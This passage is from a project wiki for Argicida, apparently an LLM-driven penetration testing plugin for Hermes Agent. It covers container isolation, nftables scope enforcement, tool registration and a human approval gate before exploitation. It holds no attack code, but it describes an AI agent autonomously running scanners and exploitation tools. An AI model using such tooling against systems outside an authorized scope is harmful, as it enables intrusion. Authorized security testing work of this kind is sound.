[tests/argicida](tests-argicida.md) | Everything mocked | ~2800 |\\n| Unit | [tests/argicida_agent](tests-argicida_agent.md) | No containers | \u2014 |\\n| Unit | [tests/argicida_common](tests-argicida_common.md) | Schema contracts only | \u2014 |\\n| Integration | [tests/integration](tests-integration.md) | Real Hermes + real DB, mocked pod | \u2014 |\\n| Pod integration | [tests/pod_integration](tests-pod_integration.md) | Real Podman, real IPC, direct dispatch | 139 |\\n| E2E | [tests/e2e](tests-e2e.md) | Real HermesCLI, real LLM, real ZAP | 10 |\\n| Scripts | [tests/scripts](tests-scripts.md) | Skill sync validation | \u2014 |\\n\\n## How They Fit Together\\n\\n```mermaid\\ngraph TD\\n    subgraph \\\"Build\\\"\\n        PY[\\\"pyproject.tomlworkspace root\\\"]\\n        SA[\\\"src-argicidapyproject.toml\\\"]\\n        SAG[\\\"src-argicida_agentpyproject.toml\\\"]\\n        SAC[\\\"src-argicida_commonpyproject.toml\\\"]\\n        PY --> SA & SAG & SAC\\n    end\\n\\n    subgraph \\\"Runtime Config\\\"\\n        PROF[\\\"profile/skills, SOUL, config\\\"]\\n        SKIN[\\\"profile/skins/CLI theme\\\"]\\n    end\\n\\n    subgraph \\\"Documentation\\\"\\n        DOCS[\\\"docs/standards, specs\\\"]\\n        ARCH[\\\"docs/archive/frozen history\\\"]\\n        RES[\\\"docs/research/evidence\\\"]\\n        RFE[\\\"docs/rfe/decisions\\\"]\\n    end\\n\\n    subgraph \\\"Testing\\\"\\n        FAC[\\\"tests/factories\\\"]\\n        UNIT[\\\"tests/argicida*/unit\\\"]\\n        INT[\\\"tests/integration/\\\"]\\n        POD[\\\"tests/pod_integration/\\\"]\\n        E2E[\\\"tests/e2e/\\\"]\\n        FAC --> UNIT & INT & POD & E2E\\n    end\\n\\n    CLAUDE[\\\"CLAUDE.md\\\"] -.->|constrains| PY & DOCS\\n    RFE -.->|drives| SA\\n    RES -.->|justifies| PROF\\n```\\n\\nThe build system (`pyproject.toml`) defines what gets built; the profile defines how it runs as an agent; the documentation records why it was built that way; the test suites prove it works at every level of abstraction. `CLAUDE.md` sits across all of them, ensuring AI-assisted development respects the same constraints that the documentation and tests enforce.\\n\\n## Key Cross-Module Workflows\\n\\n**E2E test lifecycle** spans the test harness (`tests/e2e/conftest.py`) through pod teardown (`cleanup_topology_by_name`) to container removal \u2014 exercising the full path from Hermes CLI bootstrap through plugin discovery, tool dispatch, and resource cleanup.\\n\\n**Skill authoring and sync** connects the profile (`profile/skills/security/`) to the test scripts (`tests/scripts/`) via `sync_skills.py`, keeping repo-checked skills aligned with runtime-deployed copies that the LLM may have self-improved.\\n\\n**Documentation authority chain**: RFEs in `docs/rfe/` drive implementation, research in `docs/research/` justifies architectural choices recorded in `docs/archive/`, and active standards in `docs/` govern ongoing development \u2014 with `CLAUDE.md` encoding all of these as machine-enforceable rules.\",\"overview\":\"# Argicida \u2014 Wiki\\n\\n# Argicida\\n\\nArgicida is an LLM-driven penetration testing framework that runs as a plugin for [Hermes Agent](https://hermes-agent.nousresearch.com/). It gives the LLM a toolkit of 34 security tools \u2014 port scanners, web fuzzers, database clients, SMB/SSH/DNS utilities \u2014 all running inside isolated Podman containers. The LLM decides what to scan and in what order; Argicida enforces scope, captures evidence, and makes sure nothing leaves the approved target list.\\n\\nThere is no hardcoded scan pipeline. The operator defines a scope (target CIDRs, domains, exclusions), and the LLM drives the engagement from reconnaissance through enumeration, choosing tools based on what it discovers. A human gate lets the operator review findings before the session transitions to interactive exploitation.\\n\\n## Architecture\\n\\nArgicida is split into three Python packages that communicate over a Unix socket:\\n\\n```mermaid\\ngraph TD\\n    Hermes[\\\"Hermes Agent\\\"]\\n    Plugin[\\\"argicida(host plugin)\\\"]\\n    Common[\\\"argicida_common(shared types)\\\"]\\n    Agent[\\\"argicida_agent(container agent)\\\"]\\n    Gateway[\\\"Gateway Container(nftables scope)\\\"]\\n    Tools[\\\"Scan Tools(nmap, nuclei, \u2026)\\\"]\\n    ZAP[\\\"ZAP Sidecar(proxy + active scan)\\\"]\\n    DB[\\\"EngagementStore(SQLite/APSW)\\\"]\\n\\n    Hermes -->|plugin API| Plugin\\n    Plugin -->|Unix socket IPC| Agent\\n    Plugin --> DB\\n    Agent --> Tools\\n    Plugin -.->|REST API| ZAP\\n    Tools -->|all egress| Gateway\\n    ZAP -->|all egress| Gateway\\n    Common -.-|types| Plugin\\n    Common -.-|types| Agent\\n```\\n\\n**`argicida`** is the host-side plugin \u2014 the largest package. It [registers into Hermes](plugin-registration-and-core.md) at startup, manages [pod lifecycle](pod-management.md), dispatches tool calls over [IPC](ipc-layer.md), and runs a [hook pipeline](hook-pipeline.md) that intercepts every tool invocation.\\n\\n**`argicida_agent`** is a [thin process inside the container](container-agent.md). It receives commands on a Unix socket, runs binaries via `create_subprocess_exec`, and streams output back. It never decides what to run.\\n\\n**`argicida_common`** holds the [shared types and schemas](shared-types-and-schemas.md) \u2014 msgspec Structs for IPC messages, finding schemas, scope definitions \u2014 that both sides depend on. Its only external dependency is `msgspec`.\\n\\n## How a Scan Flows End-to-End\\n\\nWhen the LLM calls a tool like `argicida_nmap`, here is what happens:\\n\\n1. **Pod launch** \u2014 If no pod exists, [pod management](pod-management.md) creates a dual-bridge network topology: an internal-only network for the tool pod, a gateway container bridging internal and external networks, and nftables rules on the gateway that only allow traffic to in-scope targets.\\n\\n2. **Scope check** \u2014 The [hook pipeline](hook-pipeline.md) fires `pre_tool_call`, which runs the [scope guard](scope-enforcement.md). It validates both the `target` field and every argument in the `args` array against the engagement scope. If anything is out of scope, the call is denied before it reaches the container.\\n\\n3. **Normalization** \u2014 The [scan tool framework](scan-tool-framework.md) runs the tool's normalizer chain, which corrects common LLM mistakes (missing flags, typos in NSE script names, absent output format flags) without burning a turn.\\n\\n4. **IPC dispatch** \u2014 The host-side [IPC client](ipc-layer.md) sends a msgpack-encoded command over the Unix socket. The [container agent](container-agent.md) authenticates the connection with HMAC-SHA256, executes the binary, and streams stdout/stderr back.\\n\\n5. **Post-processing** \u2014 Back on the host, hooks capture the raw output to the [lossless output store](evidence-and-reporting.md), parse findings through tool-specific extractors, run them through the [triage engine](triage-engine.md) for severity scoring, update the [asset registry](engagement-and-database.md) with discovered hosts and services, and append entries to the cryptographic evidence chain.\\n\\n6. **Context injection** \u2014 On the next LLM turn, the `pre_llm_call` hook injects a compact summary of engagement state \u2014 scope, assets, findings, coverage gaps \u2014 so the LLM can decide what to scan next.\\n\\nIf [ZAP](zap-integration.md) is enabled, web-facing tool traffic is automatically proxied through the ZAP sidecar for continuous passive analysis, and the LLM can trigger active scans against specific targets.\\n\\n## Scope Enforcement\\n\\nScope is enforced at two independent layers, and both must pass:\\n\\n- **Network layer** \u2014 nftables FORWARD chain rules on the [gateway container](scope-enforcement.md) drop all traffic that doesn't match the engagement's target CIDRs or domains. If the gateway dies, routing fails \u2014 the design is fail-closed.\\n- **Command layer** \u2014 the `pre_tool_call` [hook](hook-pipeline.md) validates every argument the LLM passes to a tool. It checks targets, flag values, and positional arguments against scope. This layer is strictly narrower than the network rules.\\n\\n## Operator Interfaces\\n\\nThe operator interacts with Argicida through two surfaces, both backed by the same [engagement database](engagement-and-database.md):\\n\\n- **CLI subcommands** (`hermes argicida ...`) and **slash commands** (`/scope`, `/triage`, `/briefing`, `/engage`, `/trace`, `/approve-gate`) for direct human control \u2014 documented in [Management & CLI](management-and-cli.md).\\n- **LLM-facing management tools** (`engagement_create`, `engagement_query`, `scope_define`, etc.) that the agent calls autonomously during sessions.\\n\\n## Project Layout\\n\\n```\\nsrc/\\n\u251c\u2500\u2500 argicida/argicida/         # Host-side Hermes plugin\\n\u2502   \u251c\u2500\u2500 registration/          # Five-phase plugin startup\\n\u2502   \u251c\u2500\u2500 hooks/                 # Hook pipeline (scope, evidence, context)\\n\u2502   \u251c\u2500\u2500 tools/                 # Scan tool framework + definitions\\n\u2502   \u251c\u2500\u2500 pod/                   # Pod lifecycle + dual-bridge topology\\n\u2502   \u251c\u2500\u2500 ipc/                   # Unix socket client\\n\u2502   \u251c\u2500\u2500 db/                    # EngagementStore + sub-repos\\n\u2502   \u251c\u2500\u2500 triage/                # Finding scorer + deduplicator\\n\u2502   \u251c\u2500\u2500 evidence/              # Hash-linked evidence chain\\n\u2502   \u2514\u2500\u2500 zap/                   # ZAP sidecar integration\\n\u251c\u2500\u2500 argicida_agent/            # Container agent (thin executor)\\n\u2514\u2500\u2500 argicida_common/           # Shared msgspec types\\ncontainers/                    # Containerfiles for tools, gateway, ZAP\\nprofile/                       # Hermes pentest profile + LLM skills\\ntests/                         # Unit, pod_integration, and E2E suites\\n```\\n\\n## Getting Started\\n\\n**Prerequisites:** Python 3.13+, [uv](https://docs.astral.sh/uv/), rootless Podman, and [Hermes Agent](https://hermes-agent.nousresearch.com/) installed.\\n\\n```bash\\n# Install dependencies\\nuv sync\\n\\n# Build container images\\npodman build -f containers/Containerfile -t argicida-tools:dev .\\npodman build -f containers/Containerfile.gateway -t argicida-gateway:dev .\\npodman build --network=private -f containers/Containerfile.zap -t argicida-zap:dev .\\n\\n# Install the Hermes profile\\nhermes profile install ./profile --alias\\n\\n# Run a pentest session\\npentest chat\\n```\\n\\nRun the test suite with `uv run pytest`. Pod integration tests (`-m pod_integration`) require built images and Podman. E2E tests (`-m e2e`) additionally require a running LLM endpoint. See [Container Build Infrastructure](container-build-infrastructure.md) for image details and the [Hermes Profile & Skills](hermes-profile-and-skills.md) page for profile configuration.\\n\\n## Key Design Decisions\\n\\n- **No shell execution** \u2014 every subprocess uses `create_subprocess_exec` with argument lists. No `shell=True`, anywhere.\\n- **LLM-driven, not pipelined** \u2014 the LLM chooses tools based on what it discovers. [Skills](hermes-profile-and-skills.md) provide technique knowledge on demand, but never force a fixed sequence.\\n- **Lossless evidence** \u2014 every tool invocation's raw output is stored to disk with `O_NOFOLLOW` permissions. The [evidence chain](evidence-and-reporting.md) provides cryptographic integrity verification. Nothing is discarded.\\n- **Fail-closed isolation** \u2014 the tool pod cannot reach the internet without the gateway. If the gateway dies, ARP resolution fails and all egress stops.\\n- **Air-gap capable** \u2014 threat intelligence (EPSS scores, CISA KEV catalog) loads from local files. No runtime calls to external scoring APIs.\",\"plugin-registration-core\":\"# Plugin Registration & Core\\n\\n# Plugin Registration & Core\\n\\nThe entry point for Argicida as a Hermes plugin. This module handles the five-phase registration sequence that wires tools, hooks, and commands into the Hermes agent framework, and provides the shared state layer that all runtime components access throughout a session.\\n\\n## How Registration Works\\n\\nHermes discovers Argicida through the `hermes_agent.plugins` pip entry point, imports the `argicida` module, and calls `register(ctx)`. That function delegates to five phase modules in strict order:\\n\\n```mermaid\\ngraph LR\\n    H[Hermes] -->|calls| R[register]\\n    R -->|Phase 1| S[init_state]\\n    R -->|Phase 2| ST[register_scan_tools]\\n    R -->|Phase 3| MT[register_management_tools]\\n    R -->|Phase 4| HK[register_hooks]\\n    R -->|Phase 5| CM[register_commands]\\n\\n    S -->|creates| RC[RegistrationContext]\\n    RC -.->|passed to| ST & MT & HK & CM\\n```\\n\\nThe ordering matters. Phase 2 builds the `ServiceSkillRegistry` and populates `reg.tool_defs`, which Phase 3 and Phase 4 depend on. Phase 4 raises `RuntimeError` if `service_registry` is still `None`.\\n\\n### Phase 1 \u2014 `init_state` (`registration/state.py`)\\n\\nCreates every shared service and returns a fully populated `RegistrationContext`:\\n\\n- **Filesystem**: creates `$HERMES_HOME/argicida/{data,keys,engagements,artifacts/unscoped}` with `0o700` permissions\\n- **Database**: loads or generates an encryption key, opens `EngagementStore` (APSW/SQLite)\\n- **Cryptography**: generates an Ed25519 signing keypair for evidence chain signatures\\n- **Triage data**: loads EPSS scores and KEV catalog from disk (degrades gracefully if absent \u2014 used for air-gapped engagements)\\n- **Pod infrastructure**: creates a `PodManager` (Podman API wrapper)\\n- **Container images**: reads `ARGICIDA_TOOL_IMAGE`, `ARGICIDA_GATEWAY_IMAGE`, `ARGICIDA_ZAP_IMAGE`, `ARGICIDA_NETWORK` from environment, with sensible `:dev` defaults\\n\\nAll heavy imports are deferred inside the function body to keep module-level imports fast.\\n\\n### Phase 2 \u2014 `register_scan_tools` (`registration/scan_tools.py`)\\n\\nAuto-discovers tool definitions from `tools/defs/` via `discover_tool_defs()`. For each definition, it:\\n\\n1. Extracts `ToolProfile` scope configs and registers them with the scope validator\\n2. Builds alias mappings (e.g., `nmap` \u2192 `nmap`, `db_query` \u2192 `usql`) for the scope guard and normalizer\\n3. Registers parsers, transformers, error hints, and auth indicators into their respective global registries\\n4. Wires the `NseScriptMatcher` normalizer's lazy script getter to the live `PodSession`\\n5. Creates a generic scan handler via `make_scan_handler()` and registers each tool with `ctx.register_tool()`\\n6. Builds the `ServiceSkillRegistry` from profile skill frontmatter and stores it on `reg`\\n\\nThe `_make_context` closure captures `reg` to provide `NormalizeContext` (IPC dir path, DNS server) on each tool invocation.\\n\\n### Phase 3 \u2014 `register_management_tools` (`registration/management_tools.py`)\\n\\nRegisters 18 non-scan tools: engagement CRUD, scope management, triage, artifacts, screenshots, and 7 ZAP tools. Each tool gets a handler factory that closes over the relevant `RegistrationContext` accessors. Returns the count for the startup banner.\\n\\nAlso wires `set_zap_active_fn()` so the `ZapProxyInjector` normalizer can check whether ZAP is running without importing pod session types.\\n\\n### Phase 4 \u2014 `register_hooks` (`registration/hooks.py`)\\n\\nRegisters 10 hooks across 8 Hermes hook points:\\n\\n| Hook point | Callback | Purpose |\\n|---|---|---|\\n| `on_session_start` | `make_session_start_adapter` | Session ID assignment, engagement auto-resume, data reload |\\n| `pre_tool_call` | `make_scope_guard_adapter` | Scope enforcement on every tool invocation |\\n| `post_tool_call` | `make_evidence_adapter` | Evidence chain append, finding extraction with EPSS/KEV enrichment |\\n| `post_tool_call` | `make_output_store_adapter` | Lossless raw output storage to disk |\\n| `transform_tool_result` | `make_normalizer_adapter` | OCSF normalization, asset extraction, scope expansion |\\n| `subagent_start/stop` | inline lambdas | Delegation counter for concurrent child tracking |\\n| `pre_llm_call` | `make_context_adapter` | Engagement state, skills menu, quick-reference injection into LLM context |\\n| `on_session_end` | `make_session_end_adapter` | Per-turn evidence signing |\\n| `on_session_finalize` | `make_session_finalize_adapter` | Pod teardown, final evidence signing, ZAP finding persistence |\\n\\nThe `pre_llm_call` hook is the most complex \u2014 it loads methodology text and skills menu at registration time (once), then builds dynamic context each turn from engagement state, asset summaries, ZAP status, and delegation tracking.\\n\\n### Phase 5 \u2014 `register_commands` (`registration/commands.py`)\\n\\nRegisters 6 slash commands (`/scope`, `/triage`, `/approve-gate`, `/briefing`, `/engage`, `/trace`) and the `hermes argicida` CLI subcommand tree. The `/trace` command conditionally captures `ctx.dispatch_tool` for tool invocation through the registry with parent agent context.\\n\\n## PluginState and RegistrationContext\\n\\nTwo dataclasses partition mutable runtime state from shared services:\\n\\n**`PluginState`** (`__init__.py`) is a mutable bag of session-scoped values that change throughout a session:\\n\\n- `pod_session` \u2014 owns all topology resources (pod, gateway, networks, temp dirs); set by `ensure_pod()`, cleared on teardown\\n- `engagement_session` \u2014 owns engagement-scoped resources (artifacts dir, signing key); set by engagement create/resume\\n- `zap_manager` \u2014 ZAP coordinator; created when ZAP healthcheck passes, cleared on finalize\\n- `signing_key` / `public_key` \u2014 session-level Ed25519 keypair (engagement sessions may override the signing key)\\n- `active_delegation_count` / `_delegation_tracking` \u2014 subagent concurrency tracking\\n\\n**`RegistrationContext`** (`registration/context.py`) holds all services and provides accessor methods that replace what were previously closures inside `register()`. It is created once in Phase 1 and passed to every subsequent phase.\\n\\nThe accessor methods on `RegistrationContext` encapsulate the indirection between what hooks/handlers need and where the data actually lives:\\n\\n- `get_eid()` \u2014 extracts engagement ID from the current `EngagementSession`\\n- `get_client()` \u2014 returns a per-thread `IpcClient`, creating one if needed, detecting stale connections\\n- `get_scope()` \u2014 fetches the current scope definition from the engagement database\\n- `ensure_pod()` \u2014 thread-safe pod creation with orphan cleanup and stale session recovery\\n- `get_ipc_dir()`, `get_artifacts_dir()`, `get_gateway_name()`, `get_tool_container_name()` \u2014 topology resource accessors\\n\\n### Thread Safety\\n\\nTwo mechanisms handle concurrent access from Hermes's parallel tool dispatch:\\n\\n1. **`_pod_lock`** (`threading.Lock`) \u2014 prevents concurrent pod creation races in `ensure_pod()`. The lock covers the full lifecycle: check if alive \u2192 clean stale \u2192 remove orphans \u2192 launch \u2192 enumerate NSE scripts \u2192 initialize ZAP.\\n\\n2. **`_thread_local`** (`threading.local`) \u2014 gives each worker thread its own `IpcClient` instance. Hermes dispatches parallel tool calls on separate threads with independent event loops; sharing an asyncio-stream-backed client across loops would fail. `get_client()` validates the cached client against the current socket path and session key before reusing it.\\n\\n### Pod Lifecycle in `ensure_pod()`\\n\\nThe method handles five scenarios inside the pod lock:\\n\\n1. **Pod exists and alive** \u2014 returns immediately\\n2. **Pod exists but dead** \u2014 tears down stale session, clears ZAP manager, falls through to relaunch\\n3. **Orphaned topology** \u2014 finds and removes pods matching the expected naming convention before launching\\n4. **Fresh launch** \u2014 calls `launch_pod()`, enumerates NSE scripts from the tool container, initializes `ZapManager` if ZAP is active\\n5. **Launch failure** \u2014 logs warning, returns without setting `pod_session` (tools will get error responses)\\n\\n## Utilities (`utils.py`)\\n\\nSmall pure functions used across the codebase:\\n\\n- `utc_now()` \u2014 ISO 8601 timestamp, used by the evidence chain, output store, and DB operations\\n- `normalize_target(target)` \u2014 reduces URLs, `IP:port`, UNC paths, and IPv6 brackets to bare hostnames/IPs for scope validation\\n- `is_argicida_tool(name)` \u2014 prefix check for hook filtering\\n- `has_flag(args, flags)` \u2014 `--flag=value`-aware presence check (replaces bare `in` checks that miss the `=` form)\\n- `iter_flag_values(args, flags)` \u2014 yields `(index, flag, value)` tuples for flag-value pair scanning\\n\\n## Adding to Registration\\n\\n**New scan tool**: add a definition module to `tools/defs/`. Phase 2 discovers it automatically \u2014 no registration code changes needed.\\n\\n**New management tool**: add the schema to `tools/schemas.py`, the handler factory to `tools/management_handlers.py`, wire it in `register_management_tools()`, and bump `_N_MANAGEMENT_TOOLS`.\\n\\n**New hook**: add the adapter factory, wire it in `register_hooks()`. Hermes hooks are synchronous \u2014 use `def`, not `async def`.\\n\\n**New slash command**: add the handler factory to `commands/slash.py`, wire it in `register_commands()`. Do not reuse Hermes built-in names (`/approve`, `/help`, `/clear`, `/new`, `/reset`, `/plugins`, `/config`).\\n\\n**New accessor on RegistrationContext**: add the method, then pass it (as a bound method reference or lambda) to whatever handler/adapter factory needs it. Avoid storing `reg` itself in handler closures \u2014 the accessor pattern keeps the dependency explicit.\",\"pod-management\":\"# Pod Management\\n\\n# Pod Management (`argicida/pod/`)\\n\\nThis module creates and manages the isolated Podman infrastructure that scan tools run inside. Every tool invocation happens in a container \u2014 never on the host \u2014 and all container-to-internet traffic flows through a gateway that enforces scope via nftables.\\n\\n## Dual-Bridge Topology\\n\\nThe core abstraction is a **dual-bridge network topology**: a tool pod on an internal-only network, a standalone gateway container bridging internal and external networks, and the gateway as the sole route to the internet.\\n\\n```mermaid\\ngraph LR\\n    Host[\\\"Host (Hermes + Argicida)\\\"]\\n    Host -->|Unix socket /ipc| ToolPod\\n    subgraph Internal Network10.89.1.0/24 --internal --disable-dns\\n        ToolPod[\\\"Tool Pod10.89.1.xnmap, nuclei, etc.\\\"]\\n    end\\n    ToolPod -->|\\\"default route10.89.1.2\\\"| Gateway\\n    subgraph Gateway[\\\"Gateway Container10.89.1.2\\\"]\\n        NFT[nftables FORWARD chain]\\n        DNS[dnsmasq]\\n    end\\n    Gateway -->|NAT masquerade| ExtNet[\\\"External Networkor ARGICIDA_NETWORK\\\"]\\n    ExtNet --> Internet[\\\"Target / Internet\\\"]\\n```\\n\\nThe tool pod has no direct external connectivity. Its `resolv.conf` points to the gateway (`10.89.1.2`), and its default route goes through the gateway. If the gateway dies, ARP resolution for `10.89.1.2` fails \u2014 **fail-closed by design**.\\n\\n## Module Layout\\n\\n| File | Responsibility |\\n|------|---------------|\\n| `config.py` | Frozen `msgspec.Struct` specs (`PodSpec`, `GatewaySpec`, `ContainerSpec`) and `build_topology()` |\\n| `manager.py` | `PodManager` \u2014 thread-safe wrapper around rootless Podman SDK + CLI |\\n| `launcher.py` | `launch_pod()` \u2014 orchestrates the 8-step startup sequence |\\n| `session.py` | `PodSession` \u2014 RAII-style owner of all topology resources |\\n| `builder.py` | `build_image()` \u2014 podman build for tool and gateway images |\\n| `vpn.py` | VPN endpoint extraction from WireGuard/OpenVPN configs |\\n\\n## Startup Sequence\\n\\n`launch_pod()` in `launcher.py` is the single entry point. It returns a `PodSession` or raises, cleaning up partial resources on failure.\\n\\n**Steps:**\\n\\n1. **Create internal network** \u2014 `10.89.1.0/24`, `--internal`, `--disable-dns`, default route to `10.89.1.2` (gateway)\\n2. **Determine external network** \u2014 uses `ARGICIDA_NETWORK` env var if set, otherwise creates a managed one (`argicida-ext-{eid}`)\\n3. **Write scope files** \u2014 nftables rules, dnsmasq config, and `resolv.conf` into a host-owned `scope_dir` (not `ipc_dir` \u2014 see [Filesystem Zones](#filesystem-zones))\\n4. **Build topology specs** \u2014 `build_topology()` returns frozen `PodSpec` + `GatewaySpec`\\n5. **Start gateway** \u2014 created and started first; it must be reachable before the tool pod boots\\n6. **Wait for gateway** \u2014 polls `nft list chain inet argicida forward` until the FORWARD chain is active\\n7. **Start tool pod** \u2014 created on the internal network; includes ZAP sidecar if configured\\n8. **Wait for readiness** \u2014 polls for the agent Unix socket; waits for ZAP API if ZAP image is provided\\n\\nIf any step fails, the `except` block tears down everything created so far \u2014 either via `PodSession.teardown()` if one was constructed, or via `PodManager.cleanup_topology_by_name()` for partial launches.\\n\\n## Naming Convention\\n\\nAll resource names derive deterministically from `pod_eid`:\\n\\n| Resource | Name |\\n|----------|------|\\n| Tool pod | `argicida-{pod_eid}` |\\n| Tool container | `argicida-{pod_eid}-tool` |\\n| Gateway container | `argicida-{pod_eid}-gateway` |\\n| ZAP container | `argicida-{pod_eid}-zap` |\\n| Internal network | `argicida-int-{pod_eid[:12]}` |\\n| External network (managed) | `argicida-ext-{pod_eid[:12]}` |\\n\\nFor engagements, `pod_eid` is the engagement ID. For diagnostic pods (no engagement), it's `diag-{random_hex}`.\\n\\nThis convention makes `cleanup_topology_by_name()` possible \u2014 given just a `pod_eid`, every resource can be located and removed without tracking state.\\n\\n## PodManager\\n\\n`PodManager` (`manager.py`) wraps the Podman SDK and CLI behind a thread-safe interface. A single `threading.Lock` serializes all Podman operations.\\n\\n**Why both SDK and CLI?** The Podman Python SDK (`podman-py`) doesn't support `--route` on network creation, so network operations use `subprocess.run([\\\"podman\\\", ...])`. Pod and container lifecycle uses the SDK via `self._client`.\\n\\nKey methods:\\n\\n- **`create_pod_sync(spec, ipc_dir)`** \u2014 creates a pod with all its containers atomically; rolls back (removes the pod) if any container creation fails\\n- **`create_container_sync(spec)`** \u2014 creates standalone containers (used for the gateway)\\n- **`exec_sync(container_name, cmd)`** \u2014 runs a command inside a container, returns `(exit_code, stdout_bytes)`\\n- **`cleanup_topology_by_name(pod_eid)`** \u2014 idempotent removal of all resources for an engagement; silently skips anything already gone\\n- **`find_pod_by_name(name_prefix)`** \u2014 finds a running pod by prefix, used by `ensure_pod()` to reconnect to an existing session\\n\\n## PodSession\\n\\n`PodSession` (`session.py`) is a dataclass that owns every resource created during launch: pod ID, temp directories, socket paths, session keys, container names, and the scope update callback.\\n\\n**Thread-safe host entries** \u2014 `add_host_entry()`, `remove_host_entry()`, and `get_host_entries()` manage hostname-to-IP mappings protected by a lock. These feed into dnsmasq config regeneration when scope changes.\\n\\n**`teardown(pod_manager)`** performs cleanup in order:\\n\\n1. Exec into the tool container as root to clear the IPC mount (resets UID ownership \u2014 see [Filesystem Zones](#filesystem-zones))\\n2. Fall back to `podman unshare rm -rf` if the exec fails (container already dead)\\n3. Call `cleanup_topology_by_name()` to remove pod, gateway, and networks\\n4. Clean up both temp directories (`ipc_tmpdir`, `scope_tmpdir`)\\n\\n## Filesystem Zones\\n\\nThree directories with different ownership rules \u2014 getting this wrong causes `PermissionError` across the UID namespace boundary.\\n\\n| Zone | Mount flags | Owner after pod start | Host can write? | Container (UID 10000) can read? |\\n|------|------------|----------------------|-----------------|-------------------------------|\\n| `ipc_dir` | `U=True, chown=True` | Container UID 10000 | New files only (as UID 0 inside container) | Host files: only via `o+r` (use `0o644`) |\\n| `scope_dir` | No U/chown | Host UID 1000 | Yes | Read-only bind mount |\\n| Output dirs | Not mounted | Host UID 1000 | Yes | N/A |\\n\\n**Why two directories?** The `U/chown` mount shifts ownership of everything in `ipc_dir` to the container's UID namespace. If scope rules lived there, the host couldn't overwrite them when scope changes. `scope_dir` stays host-owned so `update_scope_rules()` can rewrite nftables rules and dnsmasq config at any time.\\n\\n## Live Scope Updates\\n\\n`_make_scope_updater()` returns a closure captured by `PodSession.update_scope_rules`. When the engagement scope changes (e.g., new CIDRs added via `scope_define`), this callback:\\n\\n1. Rewrites the nftables ruleset file in `scope_dir`\\n2. Reloads rules in the gateway via `nft -f /etc/argicida/scope-rules.nft`\\n3. Regenerates the dnsmasq config with current host entries\\n4. Restarts dnsmasq in the gateway (`restart_dnsmasq()` kills all dnsmasq processes, then starts fresh)\\n\\nNo pod restart required \u2014 the gateway reloads rules in place.\\n\\n## Topology Specs (`config.py`)\\n\\n`build_topology()` is a pure function: engagement parameters in, frozen specs out. It returns `(PodSpec, GatewaySpec)` \u2014 no Podman calls, no side effects.\\n\\nThe tool container gets:\\n- `CAP_NET_RAW` (SYN scanning), read-only rootfs, 4GB memory limit, 512 PID limit\\n- `init=True` (catatonit PID 1 for zombie reaping \u2014 matters for Chromium)\\n- tmpfs at `/tmp` and `/home/agent`, IPC bind mount at `/ipc`\\n- ZAP CA cert bind-mounted if ZAP is active\\n\\nThe gateway gets:\\n- `CAP_NET_ADMIN` + `CAP_NET_RAW`, `net.ipv4.ip_forward=1` sysctl\\n- Static IP `10.89.1.2` on the internal network\\n- Scope rules, dnsmasq config as read-only bind mounts\\n\\nThe ZAP sidecar (optional) runs inside the tool pod, sharing its network namespace. It binds to `0.0.0.0:8090` \u2014 only reachable within the pod.\\n\\n## VPN Support\\n\\n`vpn.py` extracts the VPN server endpoint (IP, port, protocol) from WireGuard or OpenVPN config files. The launcher uses this to add nftables allow rules so tunnel establishment traffic can pass through the gateway's FORWARD chain before the tunnel is up.\\n\\nOnly IP-literal endpoints are supported \u2014 hostnames are rejected because DNS may not be available before the tunnel establishes. If extraction fails, the launcher logs a warning but continues (the tunnel may still work if scope rules are permissive enough).\\n\\n## Image Building\\n\\n`build_image()` (`builder.py`) wraps `podman build` for the two image types: `tool` (main Containerfile) and `gateway` (Containerfile.gateway). Called from the CLI via `hermes argicida build`. Returns `(success, output)` \u2014 no exceptions on build failure.\\n\\n## Integration Points\\n\\n`launch_pod()` is called from two places:\\n\\n- **`RegistrationContext.ensure_pod()`** \u2014 on-demand launch when the first tool call arrives; runs via `asyncio.to_thread()` to avoid blocking the event loop\\n- **`_dispatch_pod` (CLI)** \u2014 direct pod launch from `hermes argicida pod` command\\n\\n`PodSession.teardown()` is called from:\\n\\n- **`on_session_finalize` hook** \u2014 when the Hermes session ends\\n- **E2E test harness** \u2014 `_sweep_pods()` uses `cleanup_topology_by_name()` for cleanup\\n- **`launch_pod()` itself** \u2014 on failure, to clean up partial resources\",\"scan-tool-framework\":\"# Scan Tool Framework\\n\\n# Scan Tool Framework\\n\\nThe scan tool framework turns tool definitions into live Hermes-registered tools with a single generic handler. Each tool is a Python module in `tools/defs/` that declares what it wraps (binary name, schema, scope profile, normalizers). The framework discovers these modules at import time, validates them, builds async handlers, and registers them into Hermes \u2014 no manual wiring required.\\n\\n## How a tool call flows\\n\\n```mermaid\\ngraph TD\\n    LLM[\\\"LLM tool call\\\"] --> H[\\\"scan_handler decorator(error boundary)\\\"]\\n    H --> EC[\\\"ensure_client()(pod on demand)\\\"]\\n    EC --> N[\\\"Normalizer pipeline(fix args, inject defaults)\\\"]\\n    N -->|rejection| ERR[\\\"JSON error + guidance\\\"]\\n    N -->|ok| RT[\\\"run_tool()(IPC dispatch)\\\"]\\n    RT --> IPC[\\\"_send_tool_command()(Unix socket)\\\"]\\n    IPC --> AGENT[\\\"Container agent(create_subprocess_exec)\\\"]\\n    AGENT --> RESP[\\\"IPC response\\\"]\\n    RESP --> JSON[\\\"JSON result + corrections\\\"]\\n```\\n\\nThe LLM sends `{\\\"target\\\": \\\"10.10.10.5\\\", \\\"args\\\": [\\\"-p\\\", \\\"80,443\\\"]}`. The handler extracts `target` (for scope validation/metadata) and `args` (the CLI flags), runs normalizers to fix common mistakes and inject defaults, then dispatches the corrected command over Unix socket IPC to the container agent. The agent runs the binary via `create_subprocess_exec` and streams output back.\\n\\n## Tool definitions (`tools/defs/`)\\n\\nEach tool is a single module (e.g., `nmap.py`, `naabu.py`) exporting a fixed set of attributes:\\n\\n| Export | Type | Purpose |\\n|--------|------|---------|\\n| `SCHEMA` | `dict` | OpenAI-format tool schema for Hermes registration |\\n| `BINARY_NAME` | `str` | Container binary to execute (e.g., `\\\"nmap\\\"`, `\\\"usql\\\"`) |\\n| `TOOLSET` | `str` | Hermes toolset grouping (e.g., `\\\"argicida-network\\\"`) |\\n| `SCOPE_PROFILE` | `ToolProfile` | Blocked/target/value flag classification for the scope guard |\\n| `NORMALIZERS` | `tuple` | Ordered normalizer pipeline |\\n| `TIMEOUT_S` | `int` | IPC timeout in seconds (default 300) |\\n| `ERROR_HINTS` | `tuple[tuple[str, str], ...]` | Pattern \u2192 hint pairs for actionable error messages |\\n| `PARSER` | callable or `None` | Extracts structured findings from raw output |\\n| `TRANSFORMER` | callable or `None` | Reshapes tool output for 